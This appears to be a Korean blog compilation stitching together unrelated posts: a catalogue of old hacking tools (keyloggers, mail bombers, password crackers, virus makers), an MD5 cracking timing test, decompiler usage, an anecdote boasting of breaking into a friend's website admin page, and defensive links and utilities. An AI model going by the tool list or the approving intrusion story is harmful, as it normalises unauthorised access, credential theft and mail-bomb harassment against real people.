Keylog 97 --- 키보드를 통해 누른 어떤 글자도 날짜별로 체계적으로 저장
Keylog25 //
Passpy //
Keylog //
Key rec //

=============================================================================
유닉스/리눅스
==============================================================================
폭탄메일 스크립트 --- 리눅스/유닉스용 폭탄메일
satan --- 취약점을 찾아내는 SATAN이라는 툴
saint --- SATAN이 개선된 SAINT
hack unix --- 유닉스용 해킹 프로그램
fire wall --- 리눅스용 방화벽
스니퍼 --- 몰래 엿보는 프로그램

==============================================================================
메일봄버
==============================================================================
AnonMail --- 자신의 이메일 주소를 원하는데로..
Avalanche --- 폭탄 메일
QFbomber --- 사용법이 쉬운 메일 봄버
Aenima17 --- 메일 봄버
Bomb Mail --- 메일 봄버
E-mail Bombing --- 메일 봄버
Kaboom3 --- 메일을 999장 보냄
Port Fuck! --- Win98 사용자에게 폭탄멜 보내기(누킹 툴 W98)

==============================================================================
크래커
===============================================================================
bus hacker --- 넷버스의 패스워드를 바꿔줌
John the ripper --- 유닉스 PASSWD화일을 해독
Crack Jack //
DateCrack --- 날짜제한을 없애줌
Uunix password cracker --- 유닉스 패스워드 크래커. 도스용
Zip ZIP --- 화일의 패스워드를 크랙
트럼펫윈속 --- 트럼펫윈속의 패스워드를 크랙
UNP --- 자체 압축기법 해제
UX --- 자체 압축기법 해제
마이크로 excel cracker --- 엑셀의 암호를 없애줌
Soft Ice --- 윈도우용 소프트 아이스
화면보호기 cracker --- 윈도우 스크린 세이버의 암호를 풀어줌
John The Ripper 1.0 --- 가장 유명하고 강력한 크래킹 프로그램으로 전설적인 크래킹 기록을 세움
codex TCP/IP Hacker

==============================================================================
패스워드
=============================================================================
Dripper --- 현재 어떤 ID와 PW로 접속했는지 알려줌
Revelation --- 윈도우에서 ****으로 표시된 PW를 알려줌
Cmos password --- CMOS의 패스워드를 마음데로

==============================================================================
바이러스
=============================================================================
에루살렘
핑퐁
바이러스 메이커 1,2,3

============================================================================
방어/추적
==============================================================================
Cleaner 2.0 --- 38개의 트로이를 스캔, 제거툴
Visual Route --- ip만 입력하면 상대방의 국가, 지역까지..
Lock Down 2000 --- 클리너에 버금가는 트로이 스캐너
X-ray 파일 분석기
Nobo --- BO 침투자를 막아주고 IP를 알려줌
Bospy --- 딥보 침투자에게 역해킹..
No Nuke --- 누킹을 막아줌
Nuke Nabber --- 누깅을 막아줌
Neotrc201 --- IP 추적기
Antigen102
Net Buster --- 넷버스를 없애주고 침입자를 물리
Fire wall 98 --- 개인 방화벽
Bo remover --- 백오리피스를 빠른속도로 없애줌
Conseal fire wall --- 개인 방화벽
T.D.S.2 --- 294개의 트로이를 제거해줌

===========================================================================
필수유틸
=============================================================================
Jammer --- 자신의 접속 경로를 지워줍니다.
HAKTEK --- 포트스캔, 핑거, 메일봄버 등이 하나로
com2exe --- *.com을 *.exe화일로...
bat2exe --- *.bat를 *.exe화일로...
exe2com --- *.exe화일을 *.com화일로...
mouse.com --- 가끔 필요한 마우스 띄우는 프로그램
winnt->dos --- 윈도우nt 파일을 도스에서 마운트

MD5 암호화 된 해시값을 크랙을 시도 하였다...

=============================================

* 사용된 툴 : MD5 CrackFAST, IGHASHGPU v0.62

* plant text : !r@c#

* md5 hash : 47311601ffb4c52a5446fc7286831cdc

=============================================

1. MD5 CrackFAST

위와 같이 스레드 카운트를 3개를 이용해서 최적의 조건으로 크랙을 시도하였다. 크랙이 완료되기까지 최종 시간은 1분 21초가 걸렸다...

2. IGHASHGPU v0.62

IGHASHGPU v0.62 를 이용하여 크랙을 시도하였다... 본 크랙 툴은 CPU방식이 아닌 GPU 병렬 처리를 통한 고속 크랙을 시도한다... 최종 크랙까지 걸린 시간은 8초 정도밖에 걸리지 않았다...

3. 결 과

==============================================

* MD5 CrackFAST (CPU thread : 3개) = 1분 21초

* IGHASHGPU v0.62 (GPU SP 8개) = 8초

==============================================

[ 사용방법 ]

1. 클래스 하나만 디컴파일시

example1.class 를 디컴파일시

jad.exe 를 디컴파일할 파일과 동일한 폴더에 놓는다.

Command 창에 jad -o -sjava example1.class

결과물 : 'example1.java'

2. Package 를 디컴파일시

tree 폴더 아래의 모든 클래스파일을 디컴파일시

폴더와 같은 폴더에 jad.exe 를 위치하고

Command 창에 jad -o -r -sjava -dsrc tree/**/*.class

결과물 : 폴더내에 [src] 폴더가 생성된다.

본 안내서는 SEED, HAS-160, KCDSA 등 국산 알고리즘을 포함해 보안강도에 따라 선택 가능한 암호

알고리즘의 종류와 키 길이, 유효기간을 소개한다.

요즘 아이패드 랑 놀고 있습니다. HTC 4G 폰을 구입후 테더링을 사용해 아이패드로 빠른 인터넷을 할수 있어 좋습니다.

얼마전 친구와 술자리를 하다. (그 친구는 웹디자이너 입니다.) 공개용 보드로 홈페이지를 제작 했는데. 어느 누구도 해킹할수 없다.

혹 ** 가 해킹하면 오늘 100만원 쏠테니 술마시자는 제안을 했다. - 아이패드로 윈도우 머신에 리모트로 접속후

얼마전 테스트 목적으로 자동화된 인젝션 공격 툴을 개발해 놓아서

약 7분만에 admin 접속 화면을 보여 주었다. 100만원을 쏜다는 친구는 그날 30만원 정도에 술을 사더니 돈이 없다며

다음주에 한자더 먹자고 하며 술자리를 마감 했다.ㅎㅎ

하단에 웹해킹 방화벽 입니다.


<웹해킹 방어를 위한 KrCERT/CC 권고 사항>

※ 공개웹방화벽 전용 홈페이지 안내(방화벽 설치 시 주요 웹해킹 방어가능)

공개웹방화벽(WebKnight 및 ModSecurity) 다운로드, 설치 운영 가이드, FAQ 등의 정보 제공
- http://www.krcert.or.kr/firewall/index.htm

※ 무료 웹취약점 점검을 신청(웹취약점 탐지 및 해결방법을 설명)

o 무료 홈페이지 취약점 점검서비스 신청하러가기
- http://webcheck.krcert.or.kr

※ 아래의 문서를 참조하여 해킹에 대응하시기 바랍니다.

o 홈페이지 개발 보안 가이드
- http://www.kisa.or.kr/trace_log/homepage_guide_down.jsp

o 웹 어플리케이션 보안 템플릿
- http://www.krcert.or.kr/docDown.jsp?dn=3

o 침해사고 분석절차 가이드
- http://www.krcert.or.kr/docDown.jsp?dn=10

o PHP웹 게시판 취약점 관련 사고분석 및 보안대책
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005001.pdf&docNo=IN2005001

o SQL Injection 취약점을 이용한 윈도우즈 웹서버 사고 사례
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005014.pdf&docNo=IN2005014

o 웹 해킹을 통한 악성 코드 유포 사이트 사고 사례
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=050629-IN-2005-012.pdf&docNo=IN2005012

o ARP Spoofing 기법을 이용한 웹 페이지 악성코드 삽입 사례
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2007003.pdf&docNo=IN2007003&docKind=3

궁금하신점은 국번없이 118(한국정보보호진흥원)으로 연락바랍니다.

1. http://v3.nonghyup.com/
농협에서 제공하는 v3

2. http://www.viruschaser.com/Kor/vc4wo/bestez_2/frame.jsp
바이러스체이서 온라인 스캐너

3. http://www.eset.eu/eset-online-scanner-run?i_agree=
eset-online-scanner

4. http://fx.hauri.net/HProduct/livesuite/shinhancard/CLIENT/LiveSuite/livecall/kor/livecall_vr.html
바이로봇(하우리)

5. http://www.gjcity.net/htm/guidance/virus_cure2.jsp
pc지기

6. http://www.f-secure.com/en_EMEA-Labs/security-threats/tools/online-scanner
f-secure 온라인 스캐너

7. http://www.virustotal.com/index.html
의심가는 진단 파일 여러 다른 백신으로 검사해보기

8. http://www.boho.or.kr/pccheck/pcch_01.jsp?page_id=1
보호나라(여러가지 온라인 백신 링크)

mklink 라는 명령이 있습니다.
관리자 권한 cmd.exe 에서 ln -s 하듯 아래와 같이 명령하면 됩니다.
단, ln 과는 link target 순서가 다릅니다.

mklink /d "C:\Program Files (x86)\NPKI" "C:\Program Files\NPKI"

이것은 윈도7 64bit 에서 카드결제시 설치된 공인인증서가 목록에 안나오는 문제를 해결하기 위해 인증서를 x86 쪽에 링크를 걸어준 것입니다.

해당 컴퓨터에 실행되어지는 프로세서를 보여주고
컨트롤 할 수 있는 프로그램..

서버관리자라면 필수이겠쬬...!!



다운로드 : Process Explorer V11.33

ProcessExplorer.zip

☞ 주요기능
* 프로세스 아이콘을 보여줌
* 프로세스 강조 기능
* 프로세스 트리 디스플레이
* 리프레스 주기 설정 가능
* 리프레시 강조 : 프로세스, 제어, DLL 뷰 내의 새로운 새로운 엔트리는 녹색, 삭제된 것은 붉은색으로
* 툴팁 제공
* DLL 뷰 내에 DLL 상세 묘사
* 재위치한 DLL 강조
* Terminal Server 시스템을 포함한 모든 Process Owners 리스트